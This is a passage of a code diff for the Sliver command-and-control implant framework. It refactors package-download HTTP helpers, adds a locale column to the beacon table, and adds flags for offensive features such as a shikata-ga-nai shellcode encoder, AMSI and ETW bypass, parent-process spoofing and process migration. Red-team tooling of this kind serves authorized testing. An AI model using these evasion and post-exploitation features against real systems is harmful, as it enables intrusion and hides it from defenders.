+type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
 
 var (
 	indexParsers = map[string]ArmoryIndexParser{
@@ -79,28 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, err
 	}
 
-	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
@@ -125,9 +104,8 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, errors.New("index has invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
-	if err != nil {
-		return nil, err
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
 	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
@@ -144,25 +122,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		return nil, nil, err
 	}
 
-	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
@@ -187,18 +147,10 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
 			return nil, nil, errors.New("invalid url scheme")
 		}
-		resp, err := client.Get(tarGzURL.String())
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
 		if err != nil {
 			return nil, nil, err
 		}
-		defer resp.Body.Close()
-		tarGz, err = ioutil.ReadAll(resp.Body)
-		if err != nil {
-			return nil, nil, err
-		}
-		if resp.StatusCode != http.StatusOK {
-			return nil, nil, errors.New("api returned non-200 status code")
-		}
 	}
 	return sig, tarGz, nil
 }
@@ -239,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, err
 	}
 
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, err
 	}
@@ -253,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, errors.New("api returned non-200 status code")
+		return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
 	}
 
 	releases := []GithubRelease{}
@@ -270,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 	var sigData []byte
 	for _, asset := range release.Assets {
 		if asset.Name == armoryIndexFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			armoryIndexData, err = ioutil.ReadAll(resp.Body)
+			armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				return nil, err
 			}
 		}
 		if asset.Name == armoryIndexSigFileName {
-			resp, err := client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				return nil, err
-			}
-			defer resp.Body.Close()
-			sigData, err = ioutil.ReadAll(resp.Body)
+			sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				return nil, err
 			}
@@ -299,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, errors.New("invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{}
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
+	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
 		return nil, err
@@ -308,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 }
 
 // GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
-func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
 		return nil, nil, err
 	}
 
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
@@ -329,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, nil, errors.New("api returned non-200 status code")
+		return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
 	}
 
 	releases := []GithubRelease{}
@@ -343,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 	var tarGz []byte
 	for _, asset := range release.Assets {
 		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			var body []byte
-			body, err = ioutil.ReadAll(resp.Body)
+			body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				break
 			}
@@ -360,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 			}
 		}
 		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
-			var resp *http.Response
-			resp, err = client.Get(asset.BrowserDownloadURL)
-			if err != nil {
-				break
-			}
-			defer resp.Body.Close()
-			tarGz, err = ioutil.ReadAll(resp.Body)
+			tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
 			if err != nil {
 				break
 			}
@@ -380,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
 //
 
 // GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
-func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
 	if err != nil {
 		return nil, nil, err
 	}
-	client := httpClient(clientConfig)
 
 	sigURL, err := url.Parse(armoryPkg.RepoURL)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
 	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
-	sigResp, err := client.Get(sigURL.String())
+
+	// Setup dummy auth here as the non-api endpoints don't support the Authorization header
+	noAuth := &assets.ArmoryConfig{
+		Authorization: "",
+	}
+	body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
 	if err != nil {
 		return nil, nil, err
 	}
-	defer sigResp.Body.Close()
-	if sigResp.StatusCode != http.StatusOK {
-		return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
-	}
-	var body []byte
-	body, err = ioutil.ReadAll(sigResp.Body)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
-	}
+
 	sig, err := parsePkgMinsig(body)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
@@ -417,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
 			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 		}
 		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
-		tarGzResp, err := client.Get(tarGzURL.String())
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
 		if err != nil {
 			return nil, nil, err
 		}
-		defer tarGzResp.Body.Close()
-		if tarGzResp.StatusCode != http.StatusOK {
-			return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
-		}
-		tarGz, err = ioutil.ReadAll(tarGzResp.Body)
-		if err != nil {
-			return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
-		}
 	}
 
 	return sig, tarGz, nil
@@ -498,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 		},
 	}
 }
+
+func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
+	client := httpClient(clientConfig)
+	req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	if len(extraHeaders) > 0 {
+		for key := range extraHeaders {
+			req.Header.Add(key, strings.Join(extraHeaders[key], ","))
+		}
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+
+	body, err := ioutil.ReadAll(resp.Body)
+	return resp, body, err
+}
+
+func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
+	downloadHdr := http.Header{
+		"Accept": {"application/octet-stream"},
+	}
+	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
+	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
+		return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
+	}
+
+	return body, err
+}

client/command/beacons/beacons.go

@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if con.Settings.SmallTermWidth < width {
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -119,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Check-in",
 			"Next Check-in",
 		})
@@ -127,6 +129,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"ID",
 			"Name",
 			"Transport",
+			"Hostname",
 			"Username",
 			"Operating System",
 			"Last Check-in",
@@ -141,42 +144,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}
 
-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
-		var next string
-		var interval string
-
-		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
-		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
-		}
-
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
 
-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,18 +157,20 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
-				next,
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		} else {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		}
 		// Build the row struct

client/command/beacons/helpers.go

@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 		return nil, ErrNoBeacons
 	}
 	for _, beacon := range beacons.Beacons {
-		if beacon.ID == beaconID {
+		if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
 			return beacon, nil
 		}
 	}

client/command/beacons/watch.go

@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func waitForInput() <-chan bool {
-	done := make(chan bool)
+	done := make(chan bool, 1)
 	go func() {
 		defer close(done)
 		fmt.Scanf("\n")

client/command/builders/builders.go

@@ -0,0 +1,71 @@
+package builders
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// BuildersCmd - List external builders
+func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if len(builders.Builders) == 0 {
+		con.PrintInfof("No external builders connected to server\n")
+	} else {
+		PrintBuilders(builders.Builders, con)
+	}
+}
+
+func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
+	})
+	for _, builder := range externalBuilders {
+
+		targets := []string{}
+		for _, target := range builder.Targets {
+			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
+		}
+
+		row := table.Row{
+			builder.Name,
+			builder.OperatorName,
+			strings.Join(builder.Templates, ", "),
+			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
+			strings.Join(targets, "\n"),
+		}
+		tw.AppendRow(table.Row(row))
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/commands.go

@@ -23,7 +23,7 @@ package command
 
 	Guidelines when adding a command:
 
-		* Try to reuse the same short/long flags for the same paramenter,
+		* Try to reuse the same short/long flags for the same parameter,
 		  e.g. "timeout" flags should always be -t and --timeout when possible.
 		  Try to avoid creating flags that conflict with others even if you're
 		  not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,7 +41,9 @@ import (
 	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
+	"github.com/bishopfox/sliver/client/command/builders"
 	"github.com/bishopfox/sliver/client/command/completers"
+	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
@@ -65,10 +67,12 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
+	"github.com/bishopfox/sliver/client/command/rportfwd"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
+	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
@@ -454,6 +458,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "PEM encoded certificate file")
 			f.String("k", "key", "", "PEM encoded private key file")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
+			f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -478,7 +483,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
 			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
-			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
+			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
+			f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -514,7 +521,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Reconfigure the active beacon/session",
 		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
 			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
 			f.String("i", "beacon-interval", "", "beacon callback interval")
 			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -714,6 +720,28 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	tasksCmd.AddCommand(&grumble.Command{
+		Name:     consts.CancelStr,
+		Help:     "Cancel a pending beacon task",
+		LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
+			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
+			f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("id", "beacon task ID", grumble.Default(""))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			tasks.TasksCancelCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
 	con.App.AddCommand(tasksCmd)
 
 	// [ Use ] --------------------------------------------------------------
@@ -875,6 +903,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Args: func(a *grumble.Args) {
 			a.String("session", "session ID", grumble.Default(""))
 		},
+		Completer: func(prefix string, args []string) []string {
+			return use.BeaconAndSessionIDCompleter(prefix, args, con)
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			info.InfoCmd(ctx, con)
@@ -985,6 +1016,33 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
+	// [ Shellcode Encoders ] --------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ShikataGaNai,
+		Help:     "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
+		LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
+		Args: func(a *grumble.Args) {
+			a.String("shellcode", "binary shellcode file path")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save output to local file")
+
+			f.String("a", "arch", "amd64", "architecture of shellcode")
+			f.Int("i", "iterations", 1, "number of iterations")
+			f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			sgn.ShikataGaNaiCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Exec ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -1000,6 +1058,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
 			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1030,9 +1089,15 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 			f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+			f.Bool("i", "in-process", false, "Run in the current sliver process")
+			f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+			f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1063,6 +1128,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
+			f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
+			f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
+			f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1081,6 +1149,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1109,6 +1179,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the DLL file")
@@ -1133,10 +1205,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			con.Println()
 			return nil
 		},
-		Args: func(a *grumble.Args) {
-			a.Uint("pid", "pid")
-		},
 		Flags: func(f *grumble.Flags) {
+			f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
+			f.Uint("p", "pid", 0, "process id to migrate into")
+			f.String("n", "process-name", "", "name of the process to migrate into")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1226,6 +1298,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("P", "password", "", "SSH user password")
 			f.String("l", "login", "", "username to use to connect")
 			f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
+			f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
+			f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
+			f.String("r", "kerberos-realm", "", "Kerberos realm")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1247,8 +1322,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features")
+			f.String("O", "debug-file", "", "path to debug output")
+			f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+			f.String("I", "template", "sliver", "implant code template")
+			f.Bool("E", "external-builder", false, "use an external builder")
+			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1274,6 +1353,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1304,8 +1384,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
